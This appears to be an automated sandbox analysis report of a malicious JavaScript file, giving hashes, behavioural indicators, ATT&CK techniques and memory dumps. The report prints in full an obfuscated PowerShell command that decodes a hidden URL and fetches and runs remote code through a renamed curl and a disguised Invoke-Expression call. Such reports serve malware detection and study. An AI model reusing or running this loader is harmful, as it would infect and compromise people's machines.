4e48b195b23594d8dc43c8a6de5603f305a3268ae269408a48fe6e0575387d30

Analysis

max time kernel
94s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-12-2024 14:46

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General

Target

727384a12c8bbcb6b0d8302db8ba0f7e782ebdb48c888142002145fe3bddf6e3.js
Size

223KB
MD5

5015c64094a1d45a55c3b8fe3576b40a
SHA1

2f3217ce899ff9a56e9082a894b0c741d1306946
SHA256

727384a12c8bbcb6b0d8302db8ba0f7e782ebdb48c888142002145fe3bddf6e3
SHA512

0857daa98619104a8bfd2bf5ba2e41acc7f64229cb82d1b9779849cbcfb80f57f7a13f7ec01f1ce256713051391086ded4b010abd4975c47682273eb49b72501
SSDEEP

1536:nwh5ZPFY5rE8WoKguvEFVAmYMrvINjt6xOvwpf66IB9+fpuy05rE8WoKguvEFVAJ:nqFYh3QCKh3UC3Cwh3Eh3t

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	228	1924	conhost.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	2004	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2004	powershell.exe
2004	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2004	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 228 wrote to memory of 2004	228	conhost.exe	84
PID 228 wrote to memory of 2004	228	conhost.exe	84

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\727384a12c8bbcb6b0d8302db8ba0f7e782ebdb48c888142002145fe3bddf6e3.js
1⤵
PID:2848

C:\Windows\system32\conhost.exe
conhost --headless powershell $colwvkqix='ur' ;new-alias printout c$($colwvkqix)l;$kpowjzmxblrns=(3070,3081,3089,3073,3075,3070,3090,3089,3094,3027,3089,3023,3070,3018,3088,3083,3084,3019,3021,3018,3084,3076,3084,3035,3087,3033,3081,3077,3082,3088,3087,3022,3021);$govzyhsnjapr=('bronx','get-cmdlet');$abzvefl=$kpowjzmxblrns;foreach($dagpuvlsrofh in $abzvefl){$fqzrdtxpesl=$dagpuvlsrofh;$dxmrpe=$dxmrpe+[char]($fqzrdtxpesl-2972);$nrcfvzjxu=$dxmrpe; $jcagnoprvfsthz=$nrcfvzjxu};$wftayoj[2]=$jcagnoprvfsthz;$slbcnpqgrwateu='rl';$drguejtmasn=1;.$([char](9992-9887)+'e'+'x')(printout -useb $jcagnoprvfsthz)
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $colwvkqix='ur' ;new-alias printout c$($colwvkqix)l;$kpowjzmxblrns=(3070,3081,3089,3073,3075,3070,3090,3089,3094,3027,3089,3023,3070,3018,3088,3083,3084,3019,3021,3018,3084,3076,3084,3035,3087,3033,3081,3077,3082,3088,3087,3022,3021);$govzyhsnjapr=('bronx','get-cmdlet');$abzvefl=$kpowjzmxblrns;foreach($dagpuvlsrofh in $abzvefl){$fqzrdtxpesl=$dagpuvlsrofh;$dxmrpe=$dxmrpe+[char]($fqzrdtxpesl-2972);$nrcfvzjxu=$dxmrpe; $jcagnoprvfsthz=$nrcfvzjxu};$wftayoj[2]=$jcagnoprvfsthz;$slbcnpqgrwateu='rl';$drguejtmasn=1;.$([char](9992-9887)+'e'+'x')(printout -useb $jcagnoprvfsthz)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_de2bsulg.f1d.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2004-0-0x00007FFF17D33000-0x00007FFF17D35000-memory.dmp

Filesize
8KB

Download
memory/2004-1-0x0000024F6D750000-0x0000024F6D772000-memory.dmp

Filesize
136KB

Download
memory/2004-11-0x00007FFF17D30000-0x00007FFF187F1000-memory.dmp

Filesize
10.8MB

Download
memory/2004-12-0x00007FFF17D30000-0x00007FFF187F1000-memory.dmp

Filesize
10.8MB

Download
memory/2004-13-0x00007FFF17D30000-0x00007FFF187F1000-memory.dmp

Filesize
10.8MB

Download
memory/2004-14-0x00007FFF17D30000-0x00007FFF187F1000-memory.dmp

Filesize
10.8MB

Download
memory/2004-15-0x00007FFF17D33000-0x00007FFF17D35000-memory.dmp

Filesize
8KB

Download
memory/2004-16-0x00007FFF17D30000-0x00007FFF187F1000-memory.dmp

Filesize
10.8MB

Download
memory/2004-19-0x00007FFF17D30000-0x00007FFF187F1000-memory.dmp

Filesize
10.8MB

Download